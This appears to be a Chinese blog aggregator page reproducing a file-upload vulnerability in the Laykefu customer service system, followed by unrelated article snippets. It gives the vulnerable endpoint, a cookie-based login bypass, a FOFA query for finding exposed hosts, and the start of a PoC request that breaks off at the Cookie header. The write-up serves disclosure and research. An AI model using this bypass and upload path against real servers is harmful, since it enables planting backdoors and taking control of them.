当前位置：首页 > news >正文

Laykefu客服系统任意文件上传漏洞复现

news 2026/3/29 0:57:30

0x01 产品简介

Laykefu 是一款基于workerman+gatawayworker+thinkphp5搭建的全功能webim客服系统，旨在帮助企业有效管理和提供优质的客户服务。

0x02 漏洞概述

Laykefu客服系统/admin/users/upavatar.html接口处存在文件上传漏洞，而且当请求中Cookie中的”user_name“不为空时即可绕过登录系统后台，未经身份验证的攻击者可利用此问题，上传后门文件，获取服务器权限。

0x03 复现环境

FOFA：icon_hash="-334624619"

0x04 漏洞复现

PoC

POST /admin/users/upavatar.html HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:

Laykefu客服系统任意文件上传漏洞复现

0x01 产品简介 Laykefu 是一款基于workerman+gatawayworker+thinkphp5搭建的全功能webim客服系统，旨在帮助企业有效管理和提供优质的客户服务。 0x02 漏洞概述 Laykefu客服系统/admin/users/upavatar.html接口处存在文件上传漏洞，而且当请求中Cookie中的”user_name“不为…...

编程日记 2024/1/24 3:01:11

《幻兽帕鲁》服务器该如何选购

幻兽帕鲁作为目前火爆的一款游戏，幻兽帕鲁的服务器要能够承受其强大的力量和能力，需要具备一定的配置和性能。因此针对<幻兽帕鲁>这款游戏我们来总结一些可能用于承载幻兽帕鲁的服务器类型: 高性能服务器:幻兽帕鲁的能力强大，可能需要…...

编程日记 2024/1/24 3:00:11

比较有创意的网站

有创意的网站通常展示了独特的设计、交互或内容。以下是一些备受赞誉的有创意的网站，你可以参考： Awwwards: Awwwards 是一个评选并展示全球最优秀网站的平台。你可以在这里找到很多有创意的网站设计。 Awwwards CSS Design Awards: 类似于Awwwards&…...

编程日记 2024/1/24 2:54:06

alfred自定义谷歌翻译workflow

如果要实现自定义workflow，则必须安装付费版的alfred，囊中羞涩的话可以自行淘宝。自定义步骤如下： 1. 新建空的workflow，填写基本信息 2. 开发python脚本打开该workflow所在目录，进行下面步骤： 首先安装…...

编程日记 2024/1/24 2:50:02

【网络安全 -＞防御与保护】专栏文章索引

为了方便快速定位和便于文章间的相互引用等作为一个快速准确的导航工具网络安全——防御与保护 （一）.信息安全概述 （二）.防火墙组网...

编程日记 2024/1/24 2:43:57

效果图第一步需要再定义常量资源 //信访听证资源前缀public static final String RESPREFIX_MODULE_XINFTZ_"module_xinftz_";//听证专家库public static final ConstantItem RES_MODULE_XINFTZ_TINGZZJK new ConstantItem(RESPREFIX_MODULE_XINFTZ_ "tin…...

编程日记 2024/1/24 2:42:56

邦芒支招：十大秘诀助你轻松进名企

找到一份理想的工作是大学毕业生们最大的心愿,而进入那些知名的大企业更是广大毕业生的梦想。如何应付这些企业的面试成为了毕业生们最为关注的话题。这些名企的面试往往有一定的程序,绝非草草而就。因此,一定要有所准备才能“百战不殆”。而要在面试前得到有关信息,常常采用…...

编程日记 2024/1/24 2:41:55

5G_射频测试_参考规范（一）

参考规范： • Base Station (BS) conformance testing（重点limitation）Directory Listing /ftp/Specs/archive/38_series/38.104 (3gpp.org) • Conducted conformance testing（传导测试）3GPP 38.141-1 6.7 Tran…...

编程日记 2024/1/24 2:40:54

幻读是什么，用什么隔离级别可以防止幻读?

幻读指的是，在同一个事务中，以同样的条件执行的两次查询，第二次查询查到了第一次查询所没查到的数据。在mysql的四种隔离级别中，可重复读和串行化两种隔离级别没有幻读问题。那么它们是如何解决幻读问题的呢？ 先说串行…...

编程日记 2024/1/24 2:39:53

UE5 C++学习笔记 FString FName FText相互转换

1.FString 是UE里的String。最接近std::string, 唯一可以修改的字符串类型。性能更低 TEXT(string) TEXT宏，作用是将字符串转换成Unicode，切记UE中使用字符串输出要使用该宏 2. FName 是UE里特有的类型。它更注重于表示名称不区分大小写，不…...

编程日记 2024/1/24 2:34:48

【ASOC全解析（三）】machine原理和实战

【ASOC全解析（三）】machine原理和实战一、machine概述与原理1.1 machine的主要职责1.2 本文的主要内容二、machine程序示例完整的machine驱动代码示例扩展知识：SND_SOC_DAILINK_DEFS使用方法说明总结与其它说明 /*************************…...

编程日记 2024/1/24 2:31:44

matlab appdesigner系列-常用15-滑块、微调器

滑块，以左右拖动的方式在一定范围内改变数值此示例，滑块显示微调器的数值，微调器也可以显示滑块的数值操作步骤为： 1）将滑块和微调器拖拽到画布上 2）分别设置这两个组件的回调函数回调函数有两个选项…...

编程日记 2024/1/24 2:30:43

google翻译相机报错请安装最新的Google应用，以便使用相机翻译功能

修复：google翻译相机报错背景：解决方法背景： 国内手机使用google翻译的相机时报错： 请安装最新的Google应用，以便使用相机翻译功能点击报错的“确定”后转到了国内空白的软件商店页面解决方法 Google Play搜索 …...

编程日记 2024/1/24 2:29:42

openssl3.2/test/certs - 015 - Primary intermediate ca: ca-cert

文章目录 openssl3.2/test/certs - 015 - Primary intermediate ca: ca-cert概述笔记END openssl3.2/test/certs - 015 - Primary intermediate ca: ca-cert 概述 openssl3.2 - 官方demo学习 - test - certs 笔记这个例子有不同的地方, 发证书时, 指定了CA. 看实验注释, 是…...

编程日记 2024/1/24 2:28:41

linux中用户及用户组信息

1，linux通过用户名和口令来验证用户的身份。 2，几个用户可以组成一个用户组。 3，useradd工具添加用户，groupadd命令添加用户组。 4，history 命令查看用户在Shell中执行命令的历史记录。 5，userdel命令删…...

编程日记 2024/1/24 2:26:40

用Go plan9汇编实现斐波那契数列计算

斐波那契数列是一个满足递推关系的数列，如：1 1 2 3 5 8 ... 其前两项为1，第3项开始，每一项都是其前两项之和。用Go实现一个简单的斐波那契计算逻辑 func fib(n int) int {if n 1 || n 2 {return 1}return fib(n-1) fib(n-2) …...

编程日记 2024/1/24 2:25:36

Message queue 消息队列--RabbitMQ 【基础入门】

🎉🎉欢迎来到我的CSDN主页！🎉🎉 🏅我是平顶山大师，一个在CSDN分享笔记的博主。📚📚 🌟推荐给大家我的博客专栏《Message queue 消息队列--RabbitMQ 【基础入门…...

编程日记 2024/1/24 2:23:33

【汇编】 13.3 对int iret和栈的深入理解

书中示例 assume cs:codecode segment start:mov ax,csmov ds,axmov si,offset lpmov ax,0mov es,axmov di,200hmov cx,offset end0-offset lpcldrep movsb ;lp到end0的指令传送到0:200处mov ax,0mov es,axmov word ptr es:[7ch*4],200hmov word ptr es:[7ch*42],0 ;设置7c表项…...

编程日记 2024/1/24 2:22:32

Git提交大文件报错“remote: Please remove the file from history and try again. ”

如在使用Git过程中不小心将较大的二进制文件加入仓库，那么仓库大小很快就会超过规定的配额，在Push的时候会报下面的错误： remote: Powered by GITEE.COM [GNK-6.4] remote: error: File: c91e5de4f55bedd0669db01036fc131ea8e516ce 130.66 MB…...

编程日记 2024/1/24 2:19:30

接口测试 03 -- 接口自动化思维 Requests库应用

1. 接口自动化思维梳理 1.1接口自动化的优点接口测试自动化，简单来讲就是功能测试用例脚本化然后执行脚本，产生一份可视化测试报告。不管什么样的测试方式，都是为了验证功能与发现 BUG。那为什么要做接口测试自动化呢？一句话概括…...

编程日记 2024/1/24 2:18:29

SAP系统与外部服务通信中断？手把手教你用STRUST搞定SSL证书过期问题（附Concur案例）

SAP系统SSL证书过期紧急处理指南：从报错诊断到STRUST实战凌晨三点，SAP生产系统的监控警报突然响起——与Concur的差旅报销数据同步中断了。这不是普通的网络抖动，而是直接影响员工报销流程的关键故障。作为SAP Basis管理员，您需要…...

编程新知 2026/3/29 0:29:07

CoreMLTools量化技术终极指南：如何将模型大小减少75%而不损失精度

CoreMLTools量化技术终极指南：如何将模型大小减少75%而不损失精度【免费下载链接】coremltools Core ML tools contain supporting tools for Core ML model conversion, editing, and validation. 项目地址: https://gitcode.com/gh_mirrors/co/coremltools …...

编程新知 2026/3/28 23:38:55

Navicat Reset Mac工具：3种无风险试用期重置方法，零基础也能掌握

Navicat Reset Mac工具：3种无风险试用期重置方法，零基础也能掌握【免费下载链接】navicat_reset_mac navicat16 mac版无限重置试用期脚本项目地址: https://gitcode.com/gh_mirrors/na/navicat_reset_mac 您是否遇到过Navicat试用期到期的困扰&…...

编程新知 2026/3/28 22:44:15